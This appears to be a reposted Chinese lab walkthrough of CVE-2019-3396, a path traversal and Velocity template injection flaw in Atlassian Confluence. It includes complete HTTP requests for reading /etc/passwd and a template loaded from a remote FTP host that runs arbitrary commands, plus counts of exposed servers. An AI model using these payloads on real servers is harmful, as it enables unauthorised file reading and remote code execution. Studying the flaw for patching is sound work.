CVE-2019-3396(Atlassian Confluence 路徑穿越與命令執行漏洞)


Atlassian Confluence 路徑穿越與命令執行漏洞

漏洞描述

1.漏洞編號:CVE-2019-3396

2.影響版本:6.6.12之前所有6.6.x版本,6.12.3之前所有6.12.x版本,6.13.13之前所有6.13.x版本,6.14.2之前所有6.14.x版本。

3.漏洞產生原因:

Atlassian Confluence是企業廣泛使用的wiki系統,其6.14.2版本前存在一處未授權的目錄穿越漏洞,通過該漏洞,攻擊者可以讀取任意文件,或利用Velocity模板注入執行任意命令。

參考資料:

- https://paper.seebug.org/884/

- https://jira.atlassian.com/browse/CONFSERVER-57974

 

執行如下命令啟動一個Confluence Server 6.10.2

docker-compose up -d

環境啟動后,訪問`http://your-ip:8090`會進入安裝引導,選擇“Trial installation”,之后會要求填寫license key。點擊“Get an evaluation license”,去Atlassian官方申請一個Confluence Server的測試證書(不要選擇Data CenterAddons):

 

 

 

 

 然后點擊Next安裝即可。這一步小內存VPS可能安裝失敗或時間較長(建議使用4G內存以上的機器進行安裝與測試),請耐心等待。

 

如果提示填寫cluster node,路徑填寫`/home/confluence`即可:

后續可能要求你填寫數據庫賬號密碼,選擇postgres數據庫,地址為`db`,賬號密碼均為`postgres`

 

 

 

 

 

 

 

 

 

漏洞發現

關注Atlassian Confluence的版本

 

 

漏洞利用

點擊預覽功能時發的包里並沒有_template參數,需要手動加上。猜想這個漏洞應該是需要白盒審計才能發現吧。修改請求中_template參數的值,即可實現本地文件包含,發送如下數據包,即可讀取文件`web.xml`

POST /rest/tinymce/1/macro/preview HTTP/1.1

Host: localhost:8090

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&

Content-Type: application/json; charset=utf-8

Content-Length: 176

 

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

 

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.1.232:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.1.232:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 186

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}}

 6.12以前的Confluence沒有限制文件讀取的協議和路徑,我們可以使用`file:///etc/passwd`來讀取文件,也可以通過`https://...`來加載遠程文件。

 

 在開啟ftp的當前目錄下寫入r.vm文件

#set ($exp="exp")

#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))

#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))

#set($sc = $exp.getClass().forName("java.util.Scanner"))

#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))

#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))

#if($scan.hasNext())

    $scan.next()

#end

 

 該文件是一個Velocity模板,我們可以通過模板注入(SSTI)來執行任意命令:

POST /rest/tinymce/1/macro/preview HTTP/1.1

Host: 192.168.1.232:8090

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Referer: http://192.168.1.232:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&

Content-Type: application/json; charset=utf-8

Content-Length: 207

 

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"ftp://192.168.1.218/r.vm","command":"id"},"body":""}}

 

問題匯總

 

 

修復方案

官方已修復該漏洞,下載最新版的比對補丁,發現在com\atlassian\confluence\extra\widgetconnector\WidgetMacro.java里面多了一個過濾,這個應該就是這個漏洞最關鍵的地方。

 

請到官網下載無漏洞版本:https://www.atlassian.com/

 

 

信息搜集

根據FOFA的數據統計,全球共有78158Confluence開放服務,美國最多,有23002個服務,德國第二,有14385個開放服務,中國第三,有7281個服務,澳大利亞第四,有7959個服務,愛爾蘭第五,有2893個服務。

 

全國的開放的Confluence服務中,浙江最多,有3040個服務,北京第二,有1713個服務,上海第三,有532個服務,廣東第四,有525個服務。

 

 

根據 ZoomEye 網絡空間搜索引擎對關鍵字 "X-Confluence" 進行搜索,共得到 61,856 條結果,主要分布美國、德國、中國等國家。

 

 2021-01-17 20:21:41

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM